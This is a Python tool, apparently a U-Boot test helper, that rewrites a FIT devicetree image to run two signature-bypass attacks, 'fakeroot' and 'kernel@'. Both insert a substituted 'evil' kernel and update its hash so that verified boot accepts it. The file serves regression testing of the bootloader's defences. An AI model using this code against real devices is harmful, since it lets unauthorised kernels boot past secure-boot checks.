1# SPDX-License-Identifier: GPL-2.0
2# Copyright (c) 2020, Intel Corporation
3
4"""Modifies a devicetree to add a fake root node, for testing purposes"""
5
6import hashlib
7import struct
8import sys
9
10FDT_PROP = 0x3
11FDT_BEGIN_NODE = 0x1
12FDT_END_NODE = 0x2
13FDT_END = 0x9
14
15FAKE_ROOT_ATTACK = 0
16KERNEL_AT = 1
17
18MAGIC = 0xd00dfeed
19
20EVIL_KERNEL_NAME = b'evil_kernel'
21FAKE_ROOT_NAME = b'f@keroot'
22
23
24def getstr(dt_strings, off):
25    """Get a string from the devicetree string table
26
27    Args:
28        dt_strings (bytes): Devicetree strings section
29        off (int): Offset of string to read
30
31    Returns:
32        str: String read from the table
33    """
34    output = ''
35    while dt_strings[off]:
36        output += chr(dt_strings[off])
37        off += 1
38
39    return output
40
41
42def align(offset):
43    """Align an offset to a multiple of 4
44
45    Args:
46        offset (int): Offset to align
47
48    Returns:
49        int: Resulting aligned offset (rounds up to nearest multiple)
50    """
51    return (offset + 3) & ~3
52
53
54def determine_offset(dt_struct, dt_strings, searched_node_name):
55    """Determines the offset of an element, either a node or a property
56
57    Args:
58        dt_struct (bytes): Devicetree struct section
59        dt_strings (bytes): Devicetree strings section
60        searched_node_name (str): element path, ex: /images/kernel@1/data
61
62    Returns:
63        tuple: (node start offset, node end offset)
64        if element is not found, returns (None, None)
65    """
66    offset = 0
67    depth = -1
68
69    path = '/'
70
71    object_start_offset = None
72    object_end_offset = None
73    object_depth = None
74
75    while offset < len(dt_struct):
76        (tag,) = struct.unpack('>I', dt_struct[offset:offset + 4])
77
78        if tag == FDT_BEGIN_NODE:
79            depth += 1
80
81            begin_node_offset = offset
82            offset += 4
83
84            node_name = getstr(dt_struct, offset)
85            offset += len(node_name) + 1
86            offset = align(offset)
87
88            if path[-1] != '/':
89                path += '/'
90
91            path += str(node_name)
92
93            if path == searched_node_name:
94                object_start_offset = begin_node_offset
95                object_depth = depth
96
97        elif tag == FDT_PROP:
98            begin_prop_offset = offset
99
100            offset += 4
101            len_tag, nameoff = struct.unpack('>II',
102                                             dt_struct[offset:offset + 8])
103            offset += 8
104            prop_name = getstr(dt_strings, nameoff)
105
106            len_tag = align(len_tag)
107
108            offset += len_tag
109
110            node_path = path + '/' + str(prop_name)
111
112            if node_path == searched_node_name:
113                object_start_offset = begin_prop_offset
114
115        elif tag == FDT_END_NODE:
116            offset += 4
117
118            path = path[:path.rfind('/')]
119            if not path:
120                path = '/'
121
122            if depth == object_depth:
123                object_end_offset = offset
124                break
125            depth -= 1
126        elif tag == FDT_END:
127            break
128
129        else:
130            print('unknown tag=0x%x, offset=0x%x found!' % (tag, offset))
131            break
132
133    return object_start_offset, object_end_offset
134
135
136def modify_node_name(dt_struct, node_offset, replcd_name):
137    """Change the name of a node
138
139    Args:
140        dt_struct (bytes): Devicetree struct section
141        node_offset (int): Offset of node
142        replcd_name (str): New name for node
143
144    Returns:
145        bytes: New dt_struct contents
146    """
147
148    # skip 4 bytes for the FDT_BEGIN_NODE
149    node_offset += 4
150
151    node_name = getstr(dt_struct, node_offset)
152    node_name_len = len(node_name) + 1
153
154    node_name_len = align(node_name_len)
155
156    replcd_name += b'\0'
157
158    # align on 4 bytes
159    while len(replcd_name) % 4:
160        replcd_name += b'\0'
161
162    dt_struct = (dt_struct[:node_offset] + replcd_name +
163                 dt_struct[node_offset + node_name_len:])
164
165    return dt_struct
166
167
168def modify_prop_content(dt_struct, prop_offset, content):
169    """Overwrite the value of a property
170
171    Args:
172        dt_struct (bytes): Devicetree struct section
173        prop_offset (int): Offset of property (FDT_PROP tag)
174        content (bytes): New content for the property
175
176    Returns:
177        bytes: New dt_struct contents
178    """
179    # skip FDT_PROP
180    prop_offset += 4
181    (len_tag, nameoff) = struct.unpack('>II',
182                                       dt_struct[prop_offset:prop_offset + 8])
183
184    # compute padded original node length
185    original_node_len = len_tag + 8  # content length + prop meta data len
186
187    original_node_len = align(original_node_len)
188
189    added_data = struct.pack('>II', len(content), nameoff)
190    added_data += content
191    while len(added_data) % 4:
192        added_data += b'\0'
193
194    dt_struct = (dt_struct[:prop_offset] + added_data +
195                 dt_struct[prop_offset + original_node_len:])
196
197    return dt_struct
198
199
200def change_property_value(dt_struct, dt_strings, prop_path, prop_value,
201                          required=True):
202    """Change a given property value
203
204    Args:
205        dt_struct (bytes): Devicetree struct section
206        dt_strings (bytes): Devicetree strings section
207        prop_path (str): full path of the target property
208        prop_value (bytes):  new property name
209        required (bool): raise an exception if property not found
210
211    Returns:
212        bytes: New dt_struct contents
213
214    Raises:
215        ValueError: if the property is not found
216    """
217    (rt_node_start, _) = determine_offset(dt_struct, dt_strings, prop_path)
218    if rt_node_start is None:
219        if not required:
220            return dt_struct
221        raise ValueError('Fatal error, unable to find prop %s' % prop_path)
222
223    dt_struct = modify_prop_content(dt_struct, rt_node_start, prop_value)
224
225    return dt_struct
226
227def change_node_name(dt_struct, dt_strings, node_path, node_name):
228    """Change a given node name
229
230    Args:
231        dt_struct (bytes): Devicetree struct section
232        dt_strings (bytes): Devicetree strings section
233        node_path (str): full path of the target node
234        node_name (str): new node name, just node name not full path
235
236    Returns:
237        bytes: New dt_struct contents
238
239    Raises:
240        ValueError: if the node is not found
241    """
242    (rt_node_start, rt_node_end) = (
243        determine_offset(dt_struct, dt_strings, node_path))
244    if rt_node_start is None or rt_node_end is None:
245        raise ValueError('Fatal error, unable to find root node')
246
247    dt_struct = modify_node_name(dt_struct, rt_node_start, node_name)
248
249    return dt_struct
250
251def get_prop_value(dt_struct, dt_strings, prop_path):
252    """Get the content of a property based on its path
253
254    Args:
255        dt_struct (bytes): Devicetree struct section
256        dt_strings (bytes): Devicetree strings section
257        prop_path (str): full path of the target property
258
259    Returns:
260        bytes: Property value
261
262    Raises:
263        ValueError: if the property is not found
264    """
265    (offset, _) = determine_offset(dt_struct, dt_strings, prop_path)
266    if offset is None:
267        raise ValueError('Fatal error, unable to find prop')
268
269    offset += 4
270    (len_tag,) = struct.unpack('>I', dt_struct[offset:offset + 4])
271
272    offset += 8
273    tag_data = dt_struct[offset:offset + len_tag]
274
275    return tag_data
276
277
278def kernel_at_attack(dt_struct, dt_strings, kernel_content, kernel_hash):
279    """Conduct the kernel@ attack
280
281    It fetches from /configurations/default the name of the kernel being loaded.
282    Then, if the kernel name does not contain any @sign, duplicates the kernel
283    in /images node and appends '@evil' to its name.
284    It inserts a new kernel content and updates its images digest.
285
286    Inputs:
287        - FIT dt_struct
288        - FIT dt_strings
289        - kernel content blob
290        - kernel hash blob
291
292    Important note: it assumes the U-Boot loading method is 'kernel' and the
293    loaded kernel hash's subnode name is 'hash-1'
294    """
295
296    # retrieve the default configuration name
297    default_conf_name = get_prop_value(
298        dt_struct, dt_strings, '/configurations/default')
299    default_conf_name = str(default_conf_name[:-1], 'utf-8')
300
301    conf_path = '/configurations/' + default_conf_name
302
303    # fetch the loaded kernel name from the default configuration
304    loaded_kernel = get_prop_value(dt_struct, dt_strings, conf_path + '/kernel')
305
306    loaded_kernel = str(loaded_kernel[:-1], 'utf-8')
307
308    if loaded_kernel.find('@') != -1:
309        print('kernel@ attack does not work on nodes already containing an @ sign!')
310        sys.exit()
311
312    # determine boundaries of the loaded kernel
313    (krn_node_start, krn_node_end) = (determine_offset(
314        dt_struct, dt_strings, '/images/' + loaded_kernel))
315    if krn_node_start is None and krn_node_end is None:
316        print('Fatal error, unable to find root node')
317        sys.exit()
318
319    # copy the loaded kernel
320    loaded_kernel_copy = dt_struct[krn_node_start:krn_node_end]
321
322    # insert the copy inside the tree
323    dt_struct = dt_struct[:krn_node_start] + \
324        loaded_kernel_copy + dt_struct[krn_node_start:]
325
326    evil_kernel_name = loaded_kernel+'@evil'
327
328    # change the inserted kernel name
329    dt_struct = change_node_name(
330        dt_struct, dt_strings, '/images/' + loaded_kernel, bytes(evil_kernel_name, 'utf-8'))
331
332    # change the content of the kernel being loaded
333    dt_struct = change_property_value(
334        dt_struct, dt_strings, '/images/' + evil_kernel_name + '/data', kernel_content)
335
336    # change the content of the kernel being loaded
337    dt_struct = change_property_value(
338        dt_struct, dt_strings, '/images/' + evil_kernel_name + '/hash-1/value', kernel_hash)
339
340    return dt_struct
341
342
343def fake_root_node_attack(dt_struct, dt_strings, kernel_content, kernel_digest):
344    """Conduct the fakenode attack
345
346    It duplicates the original root node at the beginning of the tree.
347    Then it modifies within this duplicated tree:
348        - The loaded kernel name
349        - The loaded  kernel data
350
351    Important note: it assumes the UBoot loading method is 'kernel' and the loaded kernel
352    hash's subnode name is hash@1
353    """
354
355    # retrieve the default configuration name
356    default_conf_name = get_prop_value(
357        dt_struct, dt_strings, '/configurations/default')
358    default_conf_name = str(default_conf_name[:-1], 'utf-8')
359
360    conf_path = '/configurations/'+default_conf_name
361
362    # fetch the loaded kernel name from the default configuration
363    loaded_kernel = get_prop_value(dt_struct, dt_strings, conf_path + '/kernel')
364
365    loaded_kernel = str(loaded_kernel[:-1], 'utf-8')
366
367    # determine root node start and end:
368    (rt_node_start, rt_node_end) = (determine_offset(dt_struct, dt_strings, '/'))
369    if (rt_node_start is None) or (rt_node_end is None):
370        print('Fatal error, unable to find root node')
371        sys.exit()
372
373    # duplicate the whole tree
374    duplicated_node = dt_struct[rt_node_start:rt_node_end]
375
376    # dchange root name (empty name) to fake root name
377    new_dup = change_node_name(duplicated_node, dt_strings, '/', FAKE_ROOT_NAME)
378
379    dt_struct = new_dup + dt_struct
380
381    # change the value of /<fake_root_name>/configs/<default_config_name>/kernel
382    # so our modified kernel will be loaded
383    base = '/' + str(FAKE_ROOT_NAME, 'utf-8')
384    value_path = base + conf_path+'/kernel'
385    dt_struct = change_property_value(dt_struct, dt_strings, value_path,
386                                      EVIL_KERNEL_NAME + b'\0')
387
388    # change the node of the /<fake_root_name>/images/<original_kernel_name>
389    images_path = base + '/images/'
390    node_path = images_path + loaded_kernel
391    dt_struct = change_node_name(dt_struct, dt_strings, node_path,
392                                 EVIL_KERNEL_NAME)
393
394    # change the content of the kernel being loaded
395    data_path = images_path + str(EVIL_KERNEL_NAME, 'utf-8') + '/data'
396    dt_struct = change_property_value(dt_struct, dt_strings, data_path,
397                                      kernel_content, required=False)
398
399    # update the digest value
400    hash_path = images_path + str(EVIL_KERNEL_NAME, 'utf-8') + '/hash-1/value'
401    dt_struct = change_property_value(dt_struct, dt_strings, hash_path,
402                                      kernel_digest)
403
404    return dt_struct
405
406def add_evil_node(in_fname, out_fname, kernel_fname, attack):
407    """Add an evil node to the devicetree
408
409    Args:
410        in_fname (str): Filename of input devicetree
411        out_fname (str): Filename to write modified devicetree to
412        kernel_fname (str): Filename of kernel data to add to evil node
413        attack (str): Attack type ('fakeroot' or 'kernel@')
414
415    Raises:
416        ValueError: Unknown attack name
417    """
418    if attack == 'fakeroot':
419        attack = FAKE_ROOT_ATTACK
420    elif attack == 'kernel@':
421        attack = KERNEL_AT
422    else:
423        raise ValueError('Unknown attack name!')
424
425    with open(in_fname, 'rb') as fin:
426        input_data = fin.read()
427
428    hdr = input_data[0:0x28]
429
430    offset = 0
431    magic = struct.unpack('>I', hdr[offset:offset + 4])[0]
432    if magic != MAGIC:
433        raise ValueError('Wrong magic!')
434
435    offset += 4
436    (totalsize, off_dt_struct, off_dt_strings, off_mem_rsvmap, version,
437     last_comp_version, boot_cpuid_phys, size_dt_strings,
438     size_dt_struct) = struct.unpack('>IIIIIIIII', hdr[offset:offset + 36])
439
440    rsv_map = input_data[off_mem_rsvmap:off_dt_struct]
441    dt_struct = input_data[off_dt_struct:off_dt_struct + size_dt_struct]
442    dt_strings = input_data[off_dt_strings:off_dt_strings + size_dt_strings]
443
444    with open(kernel_fname, 'rb') as kernel_file:
445        kernel_content = kernel_file.read()
446
447    # computing inserted kernel hash
448    val = hashlib.sha1()
449    val.update(kernel_content)
450    hash_digest = val.digest()
451
452    if attack == FAKE_ROOT_ATTACK:
453        dt_struct = fake_root_node_attack(dt_struct, dt_strings, kernel_content,
454                                          hash_digest)
455    elif attack == KERNEL_AT:
456        dt_struct = kernel_at_attack(dt_struct, dt_strings, kernel_content,
457                                     hash_digest)
458
459    # now rebuild the new file
460    size_dt_strings = len(dt_strings)
461    size_dt_struct = len(dt_struct)
462    totalsize = 0x28 + len(rsv_map) + size_dt_struct + size_dt_strings
463    off_mem_rsvmap = 0x28
464    off_dt_struct = off_mem_rsvmap + len(rsv_map)
465    off_dt_strings = off_dt_struct + len(dt_struct)
466
467    header = struct.pack('>IIIIIIIIII', MAGIC, totalsize, off_dt_struct,
468                         off_dt_strings, off_mem_rsvmap, version,
469                         last_comp_version, boot_cpuid_phys, size_dt_strings,
470                         size_dt_struct)
471
472    with open(out_fname, 'wb') as output_file:
473        output_file.write(header)
474        output_file.write(rsv_map)
475        output_file.write(dt_struct)
476        output_file.write(dt_strings)
477
478if __name__ == '__main__':
479    if len(sys.argv) != 5:
480        print('usage: %s <input_filename> <output_filename> <kernel_binary> <attack_name>' %
481              sys.argv[0])
482        print('valid attack names: [fakeroot, kernel@]')
483        sys.exit(1)
484
485    in_fname, out_fname, kernel_fname, attack = sys.argv[1:]
486    add_evil_node(in_fname, out_fname, kernel_fname, attack)
487